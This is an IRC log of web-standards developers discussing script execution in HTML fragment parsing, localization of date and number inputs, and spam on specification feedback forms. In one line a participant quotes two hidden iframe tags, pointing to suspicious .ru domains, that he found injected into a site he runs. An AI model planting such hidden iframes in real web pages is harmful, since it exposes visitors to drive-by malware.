| 07:46 | <Hixie> | does IE8 not support incremental loading of HTML content? |
| 07:46 | <Hixie> | http://www.hixie.ch/tests/adhoc/dom/level0/timers/nph-009-demo.html for me in IE has it wait til the whole thing is loaded before parsing anything |
| 07:58 | <hsivonen> | Hixie: if we make createContextualFragment create scripts that are script-created and don't have their 'already started' flag set, would you be OK with adding a parameter to the HTML fragment parsing algorithm for controlling script execution prevention? |
| 07:58 | <Hixie> | what's createContextualFragment()? |
| 07:59 | <Hixie> | is it like insertAdjacentHTML()? |
| 07:59 | <hsivonen> | Hixie: it runs the fragment parsing algorithm with a string input and a context node and returns the corresponding DOM fragment |
| 07:59 | <Hixie> | or is it the DOM Range thing? |
| 07:59 | <hsivonen> | Hixie: it's the Range thing |
| 07:59 | <Hixie> | hmm |
| 07:59 | <hsivonen> | I think insertAdjacentHTML() should prevent execution |
| 08:00 | <Hixie> | what's the use case for inserting scripts with createContextualFragment? |
| 08:00 | <Hixie> | if we can get away with it just not executing scripts that sounds best to me |
| 08:00 | <hsivonen> | Hixie: currently, the main use case is emulating insertAdjacentHTML in browsers that don't have it *yet* |
| 08:01 | <Hixie> | in that case, yeah, not running scripts seems best |
| 08:01 | <Hixie> | (there are browsers with createContextualFragment but not insertAdjacentHTML?) |
| 08:01 | <hsivonen> | Hixie: but once insertAdjacentHTML is supported, if you think of createContextualFragment as a standalone feature, it's a shortcut for building a DOM fragment |
| 08:01 | <hsivonen> | Hixie: Gecko |
| 08:01 | <Hixie> | wow, i thought iAH was a mozillaism |
| 08:01 | <Hixie> | shows what i know |
| 08:01 | <hsivonen> | Hixie: and if you built the DOM fragment manually, the scripts would be executable |
| 08:01 | <hsivonen> | so it's illogical for the shortcut to make scripts unexecutable |
| 08:01 | <Hixie> | well the same could be said of innerHTML |
| 08:01 | <hsivonen> | the scripts are executable in Firefox 3.6 and in Opera |
| 08:02 | <Hixie> | but it still blocks script execution |
| 08:02 | <hsivonen> | but not in WebKit |
| 08:02 | <hsivonen> | Hixie: only because other browsers cloned IE imprecisely and the execution prevention became the norm |
| 08:02 | <hsivonen> | for innerHTML that is |
| 08:03 | <Hixie> | innerHTML not running scripts is definitely a plus in my book, given how much that simplifies so many complicated things |
| 08:03 | <Hixie> | but anyway |
| 08:03 | <Hixie> | how does innerHTML stop script creation currently? |
| 08:03 | <Hixie> | does the fragment algorithm just block it? |
| 08:03 | <hsivonen> | if I were just lazy, preventing script execution for createContextualFragment would be easy, but I'm inclined to think that not preventing execution is the Right Thing |
| 08:05 | <hsivonen> | Hixie: the fragment parsing algorithm sets 'already started' |
| 08:05 | <Hixie> | oh, i see, the parser does |
| 08:05 | <Hixie> | hm, that makes parsing a flag a bit of a pain, but we could do it i guess |
| 08:05 | <Hixie> | tbh i'd strongly recommend just not running scripts unless you have a very clear use case that needs it. (i mean an actual use case, not "build a DOM" or "emulate this other API") |
| 08:06 | <Hixie> | running scripts in weird places is one of the main causes of there being arcane parts to the platform |
| 08:06 | <hsivonen> | Hixie: the annoying part is that people who've filed WebKit and Gecko bugs about this just say what behavior they want--not what their use case was |
| 08:06 | <Hixie> | yeah, i hear ya |
| 08:07 | <Hixie> | i'm battling the i18n wg as we speak over doing exactly that |
| 08:07 | <hsivonen> | Hixie: the current plan is the run scripts from fragments created by XSLTPrecessor, so we'd still have to support fragments with executable scripts |
| 08:07 | <hsivonen> | and of course manually built ones |
| 08:07 | <Hixie> | does anyone actually use xslt to generate scripts? |
| 08:07 | <Hixie> | that's just frightening |
| 08:08 | <hsivonen> | who knows what Dark Matter does with XSLTProcessor |
| 08:08 | <Hixie> | instrument the code and find out |
| 08:08 | <hsivonen> | Hixie: as for scripts created via <?xml-stylesheet?>, there's a Chrome Experement doing that |
| 08:09 | <hsivonen> | which is why the issue is now on my plate |
| 08:09 | <Hixie> | feel free to break chrome experiments |
| 08:09 | <Hixie> | i'm happy to take the blame at google for that |
| 08:10 | <hsivonen> | Hixie: I believe that would be against our privacy principles to instrument code without a Test Pilot opt-in |
| 08:10 | <Hixie> | sure, i wasn't suggesting doing it without user consent |
| 08:10 | <Hixie> | i just meant in a special build or something |
| 08:10 | <Hixie> | don't you have betas specifically for this purpose? |
| 08:10 | <Hixie> | i mean, instrumented betas |
| 08:10 | <Hixie> | not necessarily the main beta line |
| 08:11 | <hsivonen> | I'm not aware of Mozilla doing intrumented betas |
| 08:11 | <Hixie> | ah |
| 08:11 | <Hixie> | well |
| 08:11 | <Hixie> | get the chrome team to do it |
| 08:11 | <hsivonen> | and even if we did, there'd be the problem of getting Dark Matter users to use them |
| 08:11 | <Hixie> | abarth will likely be happy to set it up |
| 08:11 | <Hixie> | what's Dark Matter? I thought you just meant random people Out There. |
| 08:11 | <hsivonen> | Hixie: enterprise intranets |
| 08:12 | <hsivonen> | or extranets |
| 08:12 | <abarth> | you're going to run scripts from fragments? |
| 08:12 | <abarth> | that seems crazy :) |
| 08:12 | <Hixie> | yeah well if we're going to live in fear of breaking enterprise intranets, we'll just end up in analysis paralysis |
| 08:12 | <hsivonen> | abarth: is non-running in WebKit by design or by accident? |
| 08:13 | <hsivonen> | Hixie: why would be go ahead and break stuff that used to work just for the sake of making scripts run less? |
| 08:13 | <hsivonen> | s/be/we/ |
| 08:13 | <abarth> | there are architectural problems with running scripts without a frame in webkit |
| 08:13 | <abarth> | the JavaScript engine can do it |
| 08:14 | <hsivonen> | abarth: oh, I don't mean running scripts while they aren't in a DOM that's in a browsing contenxt |
| 08:14 | <abarth> | but the code that knows how to talk to the JavaScript engine would be very confused |
| 08:14 | <hsivonen> | *context |
| 08:14 | <Hixie> | hsivonen: making scripts run less seems like a goal in and of itself to me. certainly in weird places like xslt where the security and interoperability implications are rather esoteric and not necessarily understood by many people. |
| 08:14 | <hsivonen> | abarth: I mean running scripts when a fragment is inserted into a DOM that's being displayed in a browsing context |
| 08:14 | <hsivonen> | which reminds me that I was about to file a spec bug about not running scripts that are in a document but the document doesn't have a browsing context |
| 08:14 | <abarth> | ah, that's technically feasible |
| 08:15 | <Hixie> | abarth: the specific case we're talking about instrumenting is the output of XSLT transforms that contain scripts |
| 08:15 | <hsivonen> | abarth: see http://hsivonen.iki.fi/test/moz/scripts/ |
| 08:15 | <abarth> | scripts = script tags ? |
| 08:15 | <abarth> | or do inline event handlers count too? |
| 08:15 | <Hixie> | i think in gecko it creates an actual dom |
| 08:15 | <hsivonen> | abarth: script nodes |
| 08:15 | <hsivonen> | abarth: http://hsivonen.iki.fi/test/moz/scripts/createContextualFragment.html |
| 08:16 | <Hixie> | anyway, if xslt is defined in terms of just creating a dom or a serialisation that's then parsed, it seems that this all just falls out of the spec as is |
| 08:16 | <hsivonen> | abarth: http://hsivonen.iki.fi/test/moz/scripts/XSLTProcessor-transformToFragment.html |
| 08:16 | <Hixie> | how is xslt defined? (is it defined?) |
| 08:16 | <hsivonen> | abarth: those two run the script in Firefox 3.6 and in Opera 10.63 but not in WebKit |
| 08:16 | <abarth> | i think all these code paths chase down the same path as innerHTML |
| 08:16 | <abarth> | for inline scripts |
| 08:17 | <abarth> | the parser is responsible for kicking off script execution |
| 08:17 | <hsivonen> | abarth: it's easy to see how you'd accidentally make createContextualFragment prevent execution by reusing innerHTML infrastructure |
| 08:17 | <abarth> | but it doesn't do that if there's no frame |
| 08:17 | <hsivonen> | abarth: but http://hsivonen.iki.fi/test/moz/scripts/XSLTProcessor-transformToFragment.html is different |
| 08:17 | <abarth> | to answer your question, i have no idea whether its intentional |
| 08:17 | <hsivonen> | abarth: ok |
| 08:18 | <abarth> | i think XSLT was added because someone at IBM complained |
| 08:18 | <abarth> | i'm not sure how many people actually care about it |
| 08:20 | <Hixie> | IE's behaviour on http://www.hixie.ch/tests/adhoc/dom/level0/timers/nph-010-demo.html is shocking to me |
| 08:21 | <Hixie> | does IE really wait until the document is entirely loaded before doing anything? |
| 08:21 | <Hixie> | surely i'm just doing something wrong |
| 08:22 | <hsivonen> | Hixie: fwiw, I believe the closest thing to an XSLTProcessor spec is https://developer.mozilla.org/en/Using_the_Mozilla_JavaScript_interface_to_XSL_Transformations |
| 08:23 | <Hixie> | well transformToDocument should definitely not run the scripts |
| 08:24 | <Hixie> | but i guess if you want the "already executed" flag to not be set, so long as the execution only happens once the stuff is inserted into the real document and not the innerHTML document, i guess we could finagle that |
| 08:25 | <Hixie> | it'd be a bit of a hack... the reason the spec right now sets "already executed" the way it does, in addition to being ok for compat for innerHTML, is that the Document it's parsing into has no global scope |
| 08:25 | <Hixie> | so it can't run script anyway |
| 08:26 | <abarth> | what's the benefit of running scripts? |
| 08:27 | <Hixie> | it's unclear to me that there is one |
| 08:27 | <hsivonen> | abarth: at least jQuery goes through trouble to make itself a fragment parser that does run scripts |
| 08:27 | <Hixie> | i'd much rather just not run them |
| 08:28 | <abarth> | interesting |
| 08:28 | <hsivonen> | JohnResig: do you have input for use cases for or against createContextualFragment creating executable scripts? |
| 08:28 | <abarth> | i still think we should have some way of parsing a fragment that lets you whitelist tags and attributes |
| 08:29 | <abarth> | its not really related, but its very popular in server-side frameworks |
| 08:29 | <hsivonen> | though it's unclear if jQuery would benefit from the behavior that would result from createContextualFragment creating executable script nodes, because those scripts wouldn't execute in order when the fragment is inserted to the DOM |
| 08:30 | <abarth> | :) |
| 08:31 | <hsivonen> | it would be so nice if people filing these bugs said more about their higher-level use cases |
| 08:33 | <Hixie> | agreed |
| 08:47 | <hsivonen> | I asked the reporters to elaborate on their use cases in both bugzillas |
| 08:56 | <zcorpan> | whatwg.org is really really slow for me. just me? |
| 09:31 | <antti_s> | are there any plans for localization eg. on input type="number"s or type="date"s? |
| 09:48 | <zcorpan> | hmm i realized that importScripts is sync |
| 09:51 | <jgraham> | Oh |
| 09:51 | <jgraham> | I was just going to say I liked that idea |
| 09:51 | <jgraham> | No I don't anymore |
| 09:51 | <jgraham> | *Now |
| 10:12 | <MikeSmith> | zcorpan: whatwg.org seems to be responding normally to me |
| 10:12 | <MikeSmith> | at least the spec, wiki, and mailing-list archives |
| 10:15 | <hsivonen> | MikeSmith: whatwg.org is not working properly for me |
| 10:15 | <hsivonen> | "The server at www.whatwg.org is taking too long to respond." |
| 10:17 | MikeSmith | trries some other browsers |
| 10:18 | <MikeSmith> | hsivonen: seems to be working the same for me in every browser I've tried so far |
| 10:19 | <MikeSmith> | which is to say, responding normally |
| 10:19 | <MikeSmith> | including in WebKit with the "Disable Caches" option set |
| 10:20 | <MikeSmith> | (which seems to be the bestest was to test if stuff is actually being served from the source and not from a cache) |
| 10:21 | <MikeSmith> | is an Opera 11 snapshot available yet? |
| 10:22 | <zcorpan> | no |
| 10:22 | <MikeSmith> | ok |
| 10:23 | <jgraham> | MikeSmith: http://my.opera.com/desktopteam/blog/ is the best place to look, in general |
| 10:23 | <MikeSmith> | ok |
| 10:24 | <MikeSmith> | btw, if there is somebody in particular to whom I should address Dragonfly bugs, please let me know |
| 10:24 | <MikeSmith> | *Dragonfly bug reports |
| 10:27 | <MikeSmith> | Hallvord? |
| 10:27 | <MikeSmith> | oh wait |
| 10:27 | <MikeSmith> | "If you are on BitBucket please follow Opera Dragonfly, and feel free to report new issues there." |
| 10:27 | <MikeSmith> | http://my.opera.com/hallvors/blog/2010/10/20/dragonfly-feedback-follow-up |
| 10:28 | <MikeSmith> | so I will feel free and do that |
| 10:28 | <jgraham> | virtuelv: ^ |
| 10:29 | <MikeSmith> | ah |
| 10:30 | <MikeSmith> | damn, there's like 7 different dragonfly branches at bitbucker |
| 10:30 | <MikeSmith> | bitbucket |
| 10:30 | <MikeSmith> | jgraham: thanks |
| 10:34 | <MikeSmith> | ah, Christian Krebs |
| 10:34 | <MikeSmith> | I guess |
| 11:26 | <hsivonen> | hmm. I wonder if I'm testing IE9 wrong when I try to remove documentElement from a document |
| 11:33 | <hsivonen> | nope, that wasn't the problem |
| 11:37 | <hsivonen> | I see no logic in script execution in WebKit |
| 11:37 | <hsivonen> | most things make scripts not run, but this doesn't: http://hsivonen.iki.fi/test/moz/scripts/createDocument.html |
| 11:53 | <rmccue> | Anyone know about the html5lib for PHP? |
| 11:55 | <crash\> | as far as I can't tell there isn't |
| 11:55 | <crash\> | no HTML5 parser for PHP |
| 11:55 | <jgraham> | Yes, it exists |
| 11:55 | <jgraham> | No I don't know much about it |
| 11:55 | <gsnedders> | rmccue: Yes. |
| 11:56 | <rmccue> | crash\: Part of http://code.google.com/p/html5lib/ |
| 11:56 | <rmccue> | gsnedders: Why, hello you. |
| 11:56 | <gsnedders> | rmccue: ;P |
| 11:56 | <crash\> | ah |
| 11:56 | <crash\> | I though this is only Python |
| 11:56 | <gsnedders> | rmccue: Where do you think I hang out, if not channels like this? :) |
| 11:56 | <rmccue> | gsnedders: I had no idea you were awake. |
| 11:57 | <gsnedders> | rmccue: It's midday. |
| 11:57 | <crash\> | 0.1 pretty outdated |
| 11:57 | <gsnedders> | But yes, ask your question. |
| 11:58 | <rmccue> | It's returning blank DOMDocument/DOMNodeList objects for me. |
| 11:58 | <gsnedders> | Oh, nice. |
| 11:59 | <gsnedders> | Disclaimer: I've not touched html5lib/php in over a year |
| 11:59 | <rmccue> | Wait, maybe not. |
| 11:59 | <rmccue> | You mention the latter on a regular interval. |
| 12:00 | <gsnedders> | In a, "hey, rmccue, you should take it over" way :P |
| 12:00 | <rmccue> | OK, nevermind, it is working. PHP just sucks. |
| 12:00 | <rmccue> | Sure, but I hardly have time for anything else, let alone a HTML5 parser. :P |
| 12:00 | <gsnedders> | rmccue: Bogus bug report. |
| 12:01 | <rmccue> | Status: Invalid. Reason: PEBKAC |
| 13:03 | <david_carlisle> | Hixie: does anyone actually use xslt to generate scripts? |
| 13:04 | <david_carlisle> | hixie: you mean generate an (x)html script element in the result document from xslt? if so yes, if you mean something else then I don't know:-) |
| 13:12 | <hsivonen> | david_carlisle: it's known that people use <?xml-stylesheet?>-invoked XSLT to create (X)HTML script elements |
| 13:12 | <hsivonen> | david_carlisle: however, the interesting bit is if people use XSLTProcessor to create script nodes |
| 13:13 | <hsivonen> | david_carlisle: like this: http://hsivonen.iki.fi/test/moz/scripts/XSLTProcessor-transformToFragment.html |
| 13:18 | <david_carlisle> | hsivonen: people who use xslt clearly have taste and don't go in for all this imperative DOM scripting p.appendChild nonsense. (This isn't being archived is it:-) |
| 13:20 | <david_carlisle> | I have no idea, I doubt there are many instances of that, would it have been possible to get something like that working in previous versions of ie and firefox 9say) |
| 13:20 | <david_carlisle> | cross browser conserns tend to limit people being too adventurous in teh way they mix script and xslt in my experience |
| 13:21 | <MikeSmith> | I think the xslt+scripting has gotten better support across browsers in the last few years |
| 13:21 | <hsivonen> | david_carlisle: I haven't tested, but I assume that in IE it's not possible to move nodes from ActiveX-owned DOMs to the browser DOMs |
| 13:21 | <MikeSmith> | and browsers have node-set() and document() sanely supportd |
| 13:22 | <hsivonen> | david_carlisle: so if one used the IE XSLT API instead of XSLTProcessor(), adopting the node would fail |
| 13:29 | <MikeSmith> | does anybody know if there has actually be any serious new movement in TC39 towards getting a binary data type added? |
| 13:29 | <MikeSmith> | is it on the agenda for the f2f next month? |
| 13:30 | <david_carlisle> | I could ask on xsl-list but that's probably not really the right audience, I think such usage is more likely buried in the libraries like sarissa that tried to hide a lot of the complexity. |
| 13:42 | <MikeSmith> | hsivonen: thanks for http://hg.mozilla.org/projects/htmlparser/rev/b0fe4ac38a02 |
| 13:43 | <hsivonen> | MikeSmith: you're welcome. sorry that I'm so slow |
| 13:43 | <MikeSmith> | no problem |
| 13:44 | <MikeSmith> | I am months behind on the vnu stuff I've meant to check in myself |
| 13:44 | <MikeSmith> | e.g., the changes to jing |
| 13:44 | timeless_mbp | needs to get a hotel room |
| 13:44 | <MikeSmith> | for reporting required-but-missing attributes |
| 13:44 | <hsivonen> | timeless_mbp: for TPAC? |
| 13:45 | <timeless_mbp> | yeah |
| 13:45 | <timeless_mbp> | you going? |
| 13:45 | <hsivonen> | timeless_mbp: there's http://www.hoteldescongres.com/ and then there are the W3C-recommended hotels |
| 13:45 | <hsivonen> | timeless_mbp: other hotels nearby are either expensive or have gotten terrible reviews, AFAICT |
| 13:45 | <MikeSmith> | hsivonen: minor typo in your javadoc comment for the InfosetCoercingHtmlParser class |
| 13:46 | <MikeSmith> | "This is convenient then another JavaThis is convenient then another Java" |
| 13:46 | <timeless_mbp> | oh, yeah, it's just a matter of finding my hilton number and asking an assistant to get me a room |
| 13:46 | <MikeSmith> | should be "when another Java" |
| 13:46 | <hsivonen> | timeless_mbp: yes, I'm going |
| 13:46 | <MikeSmith> | anybody know if Jonas is going? |
| 13:46 | <timeless_mbp> | can't you cheat? |
| 13:46 | <timeless_mbp> | there's a survey form |
| 13:47 | MikeSmith | forgot to ask Jonas when he chatted earlier |
| 13:47 | <MikeSmith> | yeah, I guess I could check |
| 13:47 | <MikeSmith> | not everybody registers by the deadline |
| 13:47 | <hsivonen> | MikeSmith: fixed. Thanks |
| 13:47 | <MikeSmith> | I think I have not registered yet myself |
| 13:47 | <timeless_mbp> | well maybe he isn't trying to waste money? |
| 13:47 | <MikeSmith> | hsivonen: nop |
| 13:47 | <MikeSmith> | np |
| 13:49 | <timeless_mbp> | MikeSmith: tsk |
| 13:51 | <timeless_mbp> | is there a negotiated rate for the hilton? |
| 13:52 | <timeless_mbp> | oh, no, only for the other one |
| 13:56 | timeless_mbp | goes back to getting confused |
| 14:04 | <annevk> | MikeSmith, when are we publishing? |
| 14:05 | <annevk> | MikeSmith, Ms2ger found a bug in html5-diff that I can fix |
| 14:05 | <annevk> | MikeSmith, but I guess I need a date |
| 14:15 | <MikeSmith> | we are publishing as soon as our webmaster is able to get stuff in place |
| 14:15 | <MikeSmith> | and comm team can do the announcement thing |
| 14:15 | <MikeSmith> | annevk: ↑ |
| 14:15 | <MikeSmith> | what's the bug? |
| 14:15 | <MikeSmith> | I can fix it in place |
| 14:15 | <MikeSmith> | if you give me a diff |
| 14:16 | <MikeSmith> | or if you check in a fix i will make a diff and apply it to the WD |
| 14:19 | <annevk> | MikeSmith, if you can remove the line <li><code>s</code> |
| 14:20 | <annevk> | MikeSmith, <s> was mentioned both in changed and absent elements, it should be removed from absent |
| 14:20 | <antti_s> | hey, are there any thoughts about bringing in localization for eg. type="numbers" and type="date"s? |
| 14:21 | <annevk> | that's a UA feature |
| 14:21 | <annevk> | the format defined in the specification is for submission and the server only |
| 14:23 | <hsivonen> | FWIW, UA-side localization has the same problem as trying to localize the display format of <time> |
| 14:23 | <annevk> | MikeSmith, gotta go now, but it's the line "<li><code>s</code>" afaik |
| 14:23 | <MikeSmith> | annevk: yeah, got it |
| 14:23 | <hsivonen> | if you go to a U.S. English site and see a number field that says "2,000" what does it mean? |
| 14:23 | <MikeSmith> | have already checked in the change to the WD |
| 14:23 | <annevk> | MikeSmith, great thanks |
| 14:23 | <hsivonen> | does it mean two thousand in the site's locale? |
| 14:23 | <annevk> | MikeSmith, ttyl |
| 14:23 | <MikeSmith> | cheers |
| 14:24 | <hsivonen> | or 2 in the UA's locale? |
| 14:24 | <annevk> | hsivonen, I think we should base UA localization on the document language |
| 14:24 | <annevk> | hsivonen, rather than the user language |
| 14:24 | <hsivonen> | annevk: so UAs would need a database of number formats associated with all existing language tags? |
| 14:25 | <annevk> | yeah |
| 14:26 | <hsivonen> | OTOH, for a date picker it would be OK to display the month name in the user's language as a word, since there'd be no ambiguity |
| 14:26 | <antti_s> | ehh... there still might be a need to input a date in an arbitrary format that is not the same as the document's language |
| 14:27 | <hsivonen> | antti_s: the expected UI for input type=date is a date picker |
| 14:27 | <hsivonen> | with date pickers there's the issue of starting weeks on Sunday vs. Monday |
| 14:28 | <antti_s> | hsivonen: so the date format used after selecting the date is a browser vendor's problem |
| 14:28 | <antti_s> | used/displayed |
| 14:28 | <hsivonen> | input type=week uses ISO weeks, but input type=date for en-US could conceivable use Sunday-based week layout |
| 14:29 | <hsivonen> | antti_s: the date format communicated between the browser and the site is always YYYY-MM-DD |
| 14:29 | <hsivonen> | antti_s: browsers are allowed to compete on how they render it to the users |
| 14:30 | <antti_s> | hsivonen: ok, 10-4 :) |
| 14:30 | <antti_s> | hsivonen: should the similar approach be used also on type=numbers |
| 14:31 | <hsivonen> | antti_s: see Opera for how type=date is supposed to work (except it should be prettier than in Opera) |
| 14:31 | <antti_s> | hsivonen: currently it bugs me that using commas as decimal separators does not work, apparently because of the sanitization algorithm |
| 14:31 | <hsivonen> | antti_s: the UA is allowed to expose a decimal comma to the user as long as a decimal point is used between the browser and the server |
| 14:32 | hsivonen | wishes all countries just standardized on a decimal point so we could get rid of this gratuitous incompatibility |
| 14:32 | <antti_s> | hsivonen: ok, thanks a much, this was really valuable information (that i didn't seem to find myself from the specs) :) |
| 14:48 | <antti_s> | hsivonen: can you give any pointers to where i should look up information related to this UA/datepicker/decimal-separator stuff? |
| 15:03 | <hsivonen> | antti_s: the rendering constrains are pretty much what's said in http://www.whatwg.org/specs/web-apps/current-work/#the-input-element-as-domain-specific-widgets |
| 15:05 | <hsivonen> | antti_s: also see the rightmost column in http://www.whatwg.org/specs/web-apps/current-work/#attr-input-type-keywords |
| 15:05 | <hsivonen> | antti_s: the spec isn't particularly clear on what's allowed here, because readers are supposed to know that the spec doesn't try to prescribe browser UI |
| 15:05 | <hsivonen> | Hixie: the spec could be clearer here |
| 15:07 | <antti_s> | hsivonen: thank you, very much appreciated. i'll look in to those. |
| 15:11 | <hsivonen> | antti_s: filed a bug as http://www.w3.org/Bugs/Public/show_bug.cgi?id=11107 |
| 17:18 | <karlcow> | I wonder if bugzilla recycled the id of deleted issues which were initially created as spam. (not very important though, just curious) |
| 17:20 | Philip` | is getting tired of the bug spam being posted to public-html |
| 17:20 | <Philip`> | Oh, Julian already said that |
| 17:20 | jgraham | filters the bugs into a different folder |
| 17:21 | <jgraham> | I actually think this setup is much better than it was before |
| 17:22 | <jgraham> | Although of course it would be even better with no spam |
| 17:23 | karlcow | doesn't move his mails in folders |
| 17:24 | <karlcow> | hmm not exactly true |
| 17:25 | <karlcow> | procmail is moving all my mails into monthly dated space folders. /2010/09/, /2010/10/, etc. |
| 17:26 | <jgraham> | Eep |
| 17:26 | <jgraham> | How do you live with that? |
| 17:26 | <karlcow> | then I create dynamic/smart folders |
| 17:26 | <jmartelatpapirux> | karlcow, how do you do so? |
| 17:26 | <karlcow> | because my contexts evolve little by little |
| 17:26 | <karlcow> | so I destroy/create dynamic folders |
| 17:26 | <jgraham> | karlcow: Presumably those are limited to a single client though? |
| 17:27 | jgraham | mostly filters by mailing list into honest-to-goodness imap folders |
| 17:27 | <karlcow> | Apple Mail with an imap server :) |
| 17:28 | <jmartelatpapirux> | Oh, my! |
| 17:29 | <karlcow> | I have done this organization for… 3 years now (I think), I have never been happier. A lot, lot better. One mail can be in many different contexts |
| 17:31 | <jgraham> | Maybe you are just ahppier by coincidence and if you used the old mail classification scheme you would be even happier still :) |
| 17:32 | <jmartelatpapirux> | Coincidences do simply not exist. |
| 17:33 | <karlcow> | I have mostly all my mails since around 1991 (except those I have erase by choice or by mistake), and dated space is a metaphor which suits me. |
| 17:35 | <karlcow> | it has another benefits, it limits the number of files on the filesystems by folder. The 500,000+ emails are nicely distributed |
| 18:27 | <jmartelatpapirux> | Au revoir |
| 18:45 | <TabAtkins_> | Philip`: I *love* seeing all the mail. What I don't love is that almost all of the anon mail from the W3C spec is spam. We should just turn that one off. |
| 18:46 | <TabAtkins_> | gsnedders: I did the IR with 6 because I thought I had to use a public build. There was some discussion about using more recent builds, but I didn't see anything about changing the requirements written in the spec, so I went with what the spec said. |
| 18:50 | <TabAtkins_> | And 6 was the public build a few weeks ago. |
| 18:53 | <Philip`> | TabAtkins_: How can you tell it's from the W3C spec? |
| 18:53 | <TabAtkins_> | Philip`: They all have the section of http://www.whatwg.org/specs/web-apps/current-work/#top |
| 18:53 | <TabAtkins_> | I thought that the w3c version always did that? |
| 18:54 | TabAtkins_ | might be wrong. |
| 18:54 | <TabAtkins_> | In any case, flagging anything from #top specially so it needs moderation before hitting the list would fix almost all of the spam problems. |
| 18:54 | Philip` | has no idea |
| 18:54 | <TabAtkins_> | Alternately, just not allowing bugs to be filed on #top. |
| 18:59 | <TabAtkins_> | Philip`: Yeah, there's no #top in the whatwg copy, and the w3c comments form explicitly indicates its id as "top" in a hidden input. |
| 19:48 | <jgraham> | Isn't 80% spam considerably better than email in general? |
| 19:48 | <jgraham> | Of course no one has tried to use it for really maliciuos purposes yet |
| 19:49 | <AryehGregor> | If you don't account for spam filtering, yes. |
| 19:49 | <jgraham> | (and I agree it should be fixed, in case there is any doubt) |
| 19:49 | <AryehGregor> | 80% spam actually ending up in anyone's mailbox is a lot worse than e-mail in general, I hope. |
| 19:49 | <jgraham> | Sure |
| 19:50 | <jgraham> | One could try using the same spam filtering here |
| 19:50 | <jgraham> | If one wanted a complex technical solution |
| 19:50 | <Hixie> | we reduced the spam on the whatwg form by having some JS count the spaces and stuff |
| 19:50 | <Hixie> | we could do the same here if that would help |
| 19:51 | <Hixie> | i just tried a quick hack |
| 19:51 | <othermaciej> | I did notice that many of the spam bugs do not contain a space |
| 19:51 | <Hixie> | that didn't have JS |
| 19:51 | <Hixie> | but i can add JS |
| 19:52 | <jgraham> | I was actually just going to suggest some "minimal useful comment" metric |
| 19:53 | <jgraham> | as a simple technical solution |
| 19:56 | <Hixie> | i'll hack something in |
| 19:56 | <AryehGregor> | I once had a comment rejected for being too short (in the WHATWG version), so don't we have such a thing already? |
| 19:56 | <Hixie> | see above, teh w3c one doesn't have that code |
| 19:57 | <TabAtkins_> | Anything to stop the "asdfasdf"-style comments would be greatly welcome. It would be extra awesome if it silently discarded messages that super-failed the metric you used, to discourage just altering the message to have more asdf. (Alerting about the message when it merely somewhat fails the metric is good, though.) |
| 19:58 | <AryehGregor> | I think you should always alert. |
| 19:58 | <AryehGregor> | If it's a real human doing it, it's unlikely to be a big problem. |
| 19:58 | <AryehGregor> | Unless we get hardcore vandalism problems. |
| 19:59 | <TabAtkins_> | In which case, reverting to the previous hurdle of "have to email the group or submit a bug yourself" is sufficient. |
| 19:59 | <AryehGregor> | Yes. |
| 19:59 | <AryehGregor> | But that's not necessary yet. |
| 20:01 | jgraham | wonders how far along the path of "determine if a given string is likely a valid sentence in English" current AI/NLP will get you |
| 20:01 | <jgraham> | Not as a very practical solution but because it seems interesting |
| 20:02 | <Philip`> | You could probably get a long way just with a spellchecker |
| 20:03 | <AryehGregor> | I forgive Google Safe Browsing for all the false positives I've ever seen from it. |
| 20:03 | <Moo-_-> | jgraham: just sample all text from digg.com and match against it. if it matches it is *not* valid english :) |
| 20:03 | <AryehGregor> | I just got a warning for a site I administer named bridgeshul.com, and indeed . . . <iframe src="http://eftpsid0342943.ru/contacts/s3"; width=1 height=1></iframe><iframe src="http://eftpsid0343233.ru/contacts/s3"></iframe>; |
| 20:03 | <jgraham> | Philip`: That was actually where my train of thought started |
| 20:03 | <AryehGregor> | Maybe I should switch to a host that doesn't require you to use FTP to administer the site. |
| 20:04 | <jgraham> | Submit to a webservice that returns the fraction of the tokens that are recognised english words |
| 20:06 | Philip` | wonders what fraction the HTML5 spec would score on such a test |
| 20:08 | <Hixie> | ok i've updated the form, give it a few minutes to regen and commit |
| 20:20 | AryehGregor | discovers his host allows SFTP |
| 22:02 | <hober> | I'm pretty sure Mark will laugh about this eventually http://twitter.com/hober/statuses/27964564498 |
| 22:50 | <GPHemsley> | Hixie: Not an especially high priority, but there is a semicolon missing here: http://www.w3.org/Style/css2-updates/css2/changes.html#q457 |
| 22:50 | <Hixie> | i don't edit that file anymore |
| 22:50 | <Hixie> | TabAtkins_ might though |
| 22:51 | <GPHemsley> | oh... perhaps that should be made clearer in the header? :) |
| 22:52 | <Hixie> | *shrug* :-) |